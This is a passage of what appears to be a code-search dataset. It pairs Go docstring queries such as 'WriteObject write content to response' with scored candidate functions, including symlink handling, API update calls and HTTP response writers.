result.NewError(\"Error while retreiving link info: \" + err.Error())\n\t} else if exists {\n\t\tif target, err := os.Readlink(linkname); err != nil {\n\t\t\treturn result.NewError(\"Error while reading symlink destination: \" + err.Error())\n\t\t} else {\n\t\t\texpected := filepath.Clean(strings.Replace(existing, \"~\", HomeDir(), 1) + \"/\")\n\t\t\tactual := filepath.Clean(strings.Replace(target, \"~\", HomeDir(), 1) + \"/\")\n\n\t\t\t// Nothing to update\n\t\t\tif actual == expected {\n\t\t\t\treturn result.NewUnchanged(\"Symbolic link \" + linkname + \" is already pointing to \" + existing)\n\t\t\t}\n\n\t\t\t// Unlink\n\t\t\tif err := os.Remove(linkname); err != nil {\n\t\t\t\treturn result.NewError(\"Error while removing symbolic link \" + actual + \": \" + err.Error())\n\t\t\t}\n\t\t}\n\t}\n\n\t// Create link\n\tif err := os.Symlink(existing, linkname); err != nil {\n\t\treturn result.NewError(\"Error while creating symbolic link \" + linkname + \": \" + err.Error())\n\t}\n\n\treturn result.NewUpdated(\"symbolic link \" + linkname + \" is now pointing to \" + existing)\n}", "title": "" }, { "docid": "e446094a4d0f58b737972c5c6b7fa936", "score": "0.38757", "text": "func (r *DeviceManagementExchangeConnectorRequest) Update(ctx context.Context, reqObj *DeviceManagementExchangeConnector) error {\n\treturn r.JSONRequest(ctx, \"PATCH\", \"\", reqObj, nil)\n}", "title": "" }, { "docid": "08364c914b133cdab80a0e021b50f7b0", "score": "0.38656807", "text": "func (h *FlinkApplicationHandler) Update(\n\tctx context.Context,\n\tproject string,\n\tservice string,\n\tapplicationID string,\n\treq UpdateFlinkApplicationRequest,\n) (*DetailedFlinkApplicationResponse, error) {\n\tpath := buildPath(\"project\", project, \"service\", service, \"flink\", \"application\", applicationID)\n\n\tbts, err := h.client.doPutRequest(ctx, path, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar r DetailedFlinkApplicationResponse\n\treturn &r, checkAPIResponse(bts, &r)\n}", "title": "" }, { "docid": "5adbe7d95b7e65f7c0dfeae28d3ee300", "score": "0.3865573", "text": "func (s *NetworkStat) Update(clog commonlog.CommonLog) error {\n\tif clog.Size < 0 {\n\t\treturn fmt.Errorf(\"size of request reported as less than zero: %v, skipping this log for statistics\", clog.Size)\n\t}\n\ts.bytes += clog.Size\n\treturn nil\n}", "title": "" }, { "docid": "1f3b8edd0dd1b2c86a02c2c18d84e75d", "score": "0.38652843", "text": "func (o DataBoxHeavyAccountCopyLogDetailsResponseOutput) CopyLogLink() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v DataBoxHeavyAccountCopyLogDetailsResponse) []string { return v.CopyLogLink }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "8d698eac7d2ba76d35ac9874040c13e6", "score": "0.38647002", "text": "func (c *Client) UpdateACLEntry(i *UpdateACLEntryInput) (*ACLEntry, error) {\n\tif i.Service == \"\" {\n\t\treturn nil, ErrMissingService\n\t}\n\n\tif i.ACL == \"\" {\n\t\treturn nil, ErrMissingACL\n\t}\n\n\tif i.ID == \"\" {\n\t\treturn nil, ErrMissingID\n\t}\n\n\tpath := fmt.Sprintf(\"/service/%s/acl/%s/entry/%s\", i.Service, i.ACL, i.ID)\n\n\tresp, err := c.RequestForm(\"PATCH\", path, i, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar e *ACLEntry\n\tif err := decodeBodyMap(resp.Body, &e); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn e, nil\n}", "title": "" }, { "docid": "fd0ceac890fd4648669ec4ecfb4b95e2", "score": "0.3862141", "text": "func (outBuffer *Buffer) Println(message string) *Record {\n\treturn outBuffer.printer(message + \"\\n\")\n}", "title": "" }, { "docid": "75ae3c6c4220070d8ee88754d1ade360", "score": "0.38556993", "text": "func (*DataNode) UpdateLog(ctx context.Context, logData *protoNode.LogData) (*protoNode.Empty, error) {\n\treturn &protoNode.Empty{}, nil\n}", "title": "" } ]
7c9edaf8631540131efbbb5a37de43c3
WriteObject write content to response.
[ { "docid": "107d1d7df7547d010e91c7c2ba16d9db", "score": "0.0", "text": "func writeJSON(w http.ResponseWriter, o interface{}) {\n\tw.WriteHeader(http.StatusOK)\n\te := json.NewEncoder(w)\n\te.SetIndent(\"\", \"\\t\")\n\te.Encode(o)\n}", "title": "" } ]
[ { "docid": "ed60aef892a70dca458af1ee5cb9b8f8", "score": "0.74727446", "text": "func WriteResponse(w http.ResponseWriter, code int, object interface{}) {\n\tdata, err := json.Marshal(object)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(code)\n\tw.Write(data)\n}", "title": "" }, { "docid": "6ec0e223e3847bb44ffa90101199bcc7", "score": "0.7422168", "text": "func writeResponse(w http.ResponseWriter, code int, object interface{}) {\n\tfmt.Println(\"writing response:\", code, object)\n\tdata, err := json.Marshal(object)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tw.Header().Set(\"content-type\", \"application/json\")\n\tw.WriteHeader(code)\n\tw.Write(data)\n}", "title": "" }, { "docid": "6ad06f19aa2fe107fc68b9b8ac2794ba", "score": "0.70077163", "text": "func WriteResponse(w http.ResponseWriter, object interface{}, rerr *irma.RemoteError) {\n\tstatus, bts := JsonResponse(object, rerr)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(status)\n\t_, err := w.Write(bts)\n\tif err != nil {\n\t\tLogWarning(errors.WrapPrefix(err, \"failed to write response\", 0))\n\t}\n}", "title": "" }, { "docid": "edd7d618b01fa5e5effb9de877ec2743", "score": "0.69253385", "text": "func (o *ObjectsClassPutOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d982c0c1f01a26c044d308d481d9d76e", "score": "0.68519235", "text": "func (o *ObjectsListOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "937ffd79c1ff626c3a5a8278b5e7095d", "score": "0.68335485", "text": "func (o *GetCharactersCharacterIDOpportunitiesOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.GetCharactersCharacterIDOpportunitiesOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "3323b855b5146803245120f59b9e185f", "score": "0.6821038", "text": "func writeObjectHeadersAndResponse(w http.ResponseWriter, response interface{}, acceptsType contentType) []byte {\n\tvar bytesBuffer bytes.Buffer\n\tvar encoder encoder\n\t// common headers\n\twriteCommonHeaders(w, getContentString(acceptsType))\n\tswitch acceptsType {\n\tcase xmlType:\n\t\tencoder = xml.NewEncoder(&bytesBuffer)\n\tcase jsonType:\n\t\tencoder = json.NewEncoder(&bytesBuffer)\n\t}\n\n\tw.Header().Set(\"Connection\", \"close\")\n\tencoder.Encode(response)\n\treturn bytesBuffer.Bytes()\n}", "title": "" }, { "docid": "70662e217b5c305e6ea85c08c325e9ab", "score": "0.68189937", "text": "func (c *Context) WriteResponse(obj interface{}, statusCode int) os.Error {\n\n\tvar error os.Error\n\n\t// get the formatter\n\tformatter, error := GetFormatter(c.Format)\n\n\tif error != nil {\n\t\tc.writeInternalServerError(error, http.StatusNotFound)\n\t\treturn error\n\t} else {\n\n\t\t// set the content type\n\t\tc.ResponseWriter.Header()[\"Content-Type\"] = []string{formatter.ContentType()}\n\n\t\t// format the output\n\t\toutput, error := formatter.Format(obj)\n\n\t\tif error != nil {\n\t\t\tc.writeInternalServerError(error, http.StatusInternalServerError)\n\t\t\treturn error\n\t\t} else {\n\n\t\t\toutputString := string(output)\n\n\t\t\t/*\n\t\t\t\tJSONP\n\t\t\t*/\n\t\t\tcallback := c.GetCallback()\n\t\t\tif callback != \"\" {\n\n\t\t\t\t// wrap with function call\n\n\t\t\t\trequestContext := c.GetRequestContext()\n\n\t\t\t\toutputString = callback + \"(\" + outputString\n\n\t\t\t\tif requestContext != \"\" {\n\t\t\t\t\toutputString = outputString + \", \\\"\" + requestContext + \"\\\")\"\n\t\t\t\t} else {\n\t\t\t\t\toutputString = outputString + \")\"\n\t\t\t\t}\n\n\t\t\t\t// set the new content type\n\t\t\t\tc.ResponseWriter.Header()[\"Content-Type\"] = []string{JSONP_CONTENT_TYPE}\n\n\t\t\t}\n\n\t\t\t// write the status code\n\t\t\tif strings.Index(c.Request.URL.Raw, REQUEST_ALWAYS200_PARAMETER) > -1 {\n\n\t\t\t\t// \"always200\"\n\t\t\t\t// write a fake 200 status code (regardless of what the actual code was)\n\t\t\t\tc.ResponseWriter.WriteHeader(http.StatusOK)\n\n\t\t\t} else {\n\n\t\t\t\t// write the actual status code\n\t\t\t\tc.ResponseWriter.WriteHeader(statusCode)\n\n\t\t\t}\n\n\t\t\t// write the output\n\t\t\tc.ResponseWriter.Write([]uint8(outputString))\n\n\t\t}\n\n\t}\n\n\t// success - no errors\n\treturn nil\n\n}", "title": "" }, { "docid": "e8d71303040a1240eb04bc1dae774009", "score": "0.67652947", "text": "func (r *Response) Write(w io.Writer) error", "title": "" }, { "docid": "6340ab9c02c326dd8a5719f631fe7699", "score": "0.66243005", "text": "func writeResponse(data interface{}, w http.ResponseWriter) error {\n\tvar (\n\t\tenc []byte\n\t\terr error\n\t)\n\tenc, err = json.Marshal(data)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn fmt.Errorf(\"Failure to marshal, err = %s\", err)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tn, err := w.Write(enc)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn fmt.Errorf(\"Failure to write, err = %s\", err)\n\t}\n\tif n != len(enc) {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn fmt.Errorf(\"Short write sent = %d, wrote = %d\", len(enc), n)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a11cc62c0921575206e0dcaf66a0928c", "score": "0.6569188", "text": "func (o *UpdateMedicineOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "04042bb90374593fc5180dc2f1f5f87e", "score": "0.64975655", "text": "func (o *UpdateLinkInPostOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "49233f177f3f61b33811b8ff6df95781", "score": "0.64957273", "text": "func (o *PutWorkpaceByIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2177f4858449046bcf944e19f987022e", "score": "0.6491582", "text": "func (o *ListVsphereResourceOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "78a0fcce61c294002d04535d07708d69", "score": "0.6491482", "text": "func writeResponse(w *http.ResponseWriter, res responseData, status int) {\n\tresJSON, err := json.Marshal(res)\n\tif err != nil {\n\t\thttp.Error(*w, \"Failed to parse struct `responseData` into JSON object\", http.StatusInternalServerError)\n\t}\n\n\t(*w).Header().Set(\"Content-Type\", \"application/json\")\n\t(*w).WriteHeader(status)\n\t(*w).Write(resJSON)\n}", "title": "" }, { "docid": "155b403f501af1ec232a1308f184d3c2", "score": "0.6481183", "text": "func (o *GetUIContentOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "660c2416c74dcddcbde9c361d721f270", "score": "0.6476127", "text": "func (o *CreateMovingExpenseDocumentOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "43e7d798bc95fb14ff6ac0942d7ca97e", "score": "0.6472959", "text": "func writeResponse(data []byte, size int64, ctype string, w http.ResponseWriter) {\n\tw.Header().Set(\"Content-Type\", ctype)\n\tw.Header().Set(\"Content-Length\", fmt.Sprintf(\"%d\", size))\n\tw.Header().Set(\"Cache-Control\", \"no-transform,public,max-age=86400,s-maxage=2592000\")\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(data)\n}", "title": "" }, { "docid": "67138d7406291d599d6f7ac0577f5ad7", "score": "0.6469999", "text": "func (o *ObjectsListInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3941d2344366c8e48984a6aa3b99023a", "score": "0.64563894", "text": "func (o *GetVSphereComputeResourcesOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\t// return empty array\n\t\tpayload = make([]*models.VSphereManagementObject, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "3302e4f64bc7cb67f99f6b2efc06e2af", "score": "0.6449318", "text": "func (o *ListUpcomingMeetingsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "6a8c0ae5ec32c86ff3ac4a4567a22955", "score": "0.6445857", "text": "func (o *GetCharactersCharacterIDLocationOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a755c0a5b6e23baf9093ef2887c5a071", "score": "0.644537", "text": "func (o *GetMarketsGroupsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make([]int32, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "7b23880e7bf92893e95500c8b76354cd", "score": "0.64376557", "text": "func (a *API) writeJSON(w http.ResponseWriter, r *http.Request, code int, object interface{}) {\n\tjsonObject, err := json.Marshal(object)\n\tif err != nil {\n\t\ta.log(r).Warnf(\"Failed to encode json response: %s\", err)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(code)\n\n\t_, err = w.Write(jsonObject)\n\tif err != nil {\n\t\ta.log(r).Warnf(\"Failed to write response: %s\", err)\n\t}\n}", "title": "" }, { "docid": "0d004afaf550c6fde8c073da5350b6d3", "score": "0.64366794", "text": "func (o *PutRecordingsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "dc660f9e21cf50db0918f2d0a719802d", "score": "0.6434906", "text": "func (o *ObjectsClassPutInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0a623e9e25d2bca847703dd9acdaf2fe", "score": "0.6431071", "text": "func (o *GetFleetsFleetIDMembersOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Content-Language\n\n\tcontentLanguage := o.ContentLanguage\n\tif contentLanguage != \"\" {\n\t\trw.Header().Set(\"Content-Language\", contentLanguage)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.GetFleetsFleetIDMembersOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "262159a9dc4152bdb33731821d8e3399", "score": "0.6428404", "text": "func (o *CreateFileOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "61f0a3f9a2a3650601abdf7b8e7f8101", "score": "0.6421472", "text": "func (o *PostManagementKubernetesIoV1NodesOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "78477b33dee91bdae2fa89679e626cdc", "score": "0.6420132", "text": "func (o *SearchTournamentsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make([]*models.Tournament, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "b65505a0a7401b93f0bbd4e634c3c141", "score": "0.6416854", "text": "func (o *ViewOneOrderOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "bc64f63feb25a898f4476eb1fdfac891", "score": "0.6406733", "text": "func (o *GetUniverseGroupsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make([]int32, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "b93db6131b31f6debe9d8006755bb819", "score": "0.6402888", "text": "func (o *DepositNewFileOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "ed8affdf0f0dcfe1c58d820f0a33c87e", "score": "0.6396405", "text": "func (o *UpdateVMTempOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0305b7239f329c52380921381997559e", "score": "0.6391789", "text": "func (o *GetWhaleTranfersOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\t// return empty array\n\t\tpayload = make([]*models.OperationsRow, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "4b68dcf21508ba7d67dedaf071d3c448", "score": "0.6390039", "text": "func (o *CreateStorageV1CSINodeOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "87cea7640858701cb52872bd6765ea54", "score": "0.63894874", "text": "func (r *GenericResponse) WriteResponse(w http.ResponseWriter) {\n\tif r.Headers == nil {\n\t\tr.Headers = make(map[string]string)\n\t}\n\t// Headers\n\tif r.MimeContent != nil {\n\t\tr.Headers[\"Content-Type\"] = r.MimeContent.MimeType\n\t\tif len(r.MimeContent.Filename) > 0 {\n\t\t\t// Does not support UTF-8 or spaces in filename\n\t\t\tr.Headers[\"Content-Disposition\"] = \"attachment; filename=\" + r.MimeContent.Filename\n\t\t}\n\t}\n\tfor k, v := range r.Headers {\n\t\tw.Header().Set(k, v)\n\t}\n\n\t// Body\n\tif r.MimeContent != nil {\n\t\tw.WriteHeader(r.StatusCode)\n\t\t_, _ = w.Write(r.MimeContent.Content)\n\t} else if r.JSONableResponse != nil {\n\t\twriteJSON(r.JSONableResponse, w, r.StatusCode)\n\t} else {\n\t\tw.WriteHeader(r.StatusCode)\n\t}\n}", "title": "" }, { "docid": "3e1b78283062acfbac735a58f2a97efc", "score": "0.6386641", "text": "func (o *PutMeetupOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4544c49075c86073f1e39b589bf38549", "score": "0.6378044", "text": "func WriteResponse(w http.ResponseWriter, v interface{}, statusCode int) {\n\tresBody, err := json.Marshal(v)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(statusCode)\n\t_, _ = w.Write(resBody)\n}", "title": "" }, { "docid": "74d1071ebd64e0e2be3cf41cff7ff086", "score": "0.6372614", "text": "func WriteResponse(w http.ResponseWriter, code int, err error, data interface{}, t0 time.Time) {\n\tw.WriteHeader(code)\n\tresp := &Response{Data: data, Dur: fmt.Sprint(time.Since(t0)), OK: false}\n\tif code < 300 {\n\t\tresp.OK = true\n\t}\n\tif err != nil {\n\t\tresp.Err = err.Error()\n\t}\n\terr = json.NewEncoder(w).Encode(resp)\n\tif err != nil {\n\t\tlog.Infof(\"failed to json encode response: %v\", err)\n\t\tif _, err = w.Write([]byte(spew.Sdump(resp))); err != nil {\n\t\t\tlog.Infof(\"failed to write dump of response: %v\", err)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2692133eae581aff9257dfdc912d560d", "score": "0.6371905", "text": "func (o *UserEditOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "640405dffca51e7ef941c39ecf58470e", "score": "0.6355242", "text": "func writeResponse(w http.ResponseWriter, h int, p interface{}) {\n\t// I set the content type...\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t// ... I write the specified status code...\n\tw.WriteHeader(h)\n\t// ... and I write the response\n\tb, _ := json.Marshal(p)\n\tw.Write(b)\n}", "title": "" }, { "docid": "5eb4d36ac92dc4235e794f5f1946c654", "score": "0.6341517", "text": "func (o *ObjectsPatchNoContent) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(204)\n}", "title": "" }, { "docid": "56969d3e150ce46292bf1f52b705452a", "score": "0.63383025", "text": "func (o *CreateSpoeCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "e793bda9760bd21ae5ee148b5b192c92", "score": "0.63349575", "text": "func (o *PutSlideLikeCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tpayload := o.Payload\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "8239c1705f471cce2e2867bb47d0cefa", "score": "0.63312805", "text": "func (o *GetMeetupsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\t// return empty array\n\t\tpayload = make([]*models.Meetup, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n}", "title": "" }, { "docid": "5dfa4dcb1e4ac333e8e5a4cf951fcf15", "score": "0.6330915", "text": "func (o *PutMeetupDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(o._statusCode)\n}", "title": "" }, { "docid": "8cb37d29c64ef37159c9bc5f3f725b76", "score": "0.63279647", "text": "func (o *GetVisiblePruebasFromQuestionTestInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "d10accb3a1b24443890026fb04f10f18", "score": "0.63276887", "text": "func (o *GetSchedulingV1APIResourcesOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "791ab7eef9724e2ae5bc3c9aa676530a", "score": "0.6317094", "text": 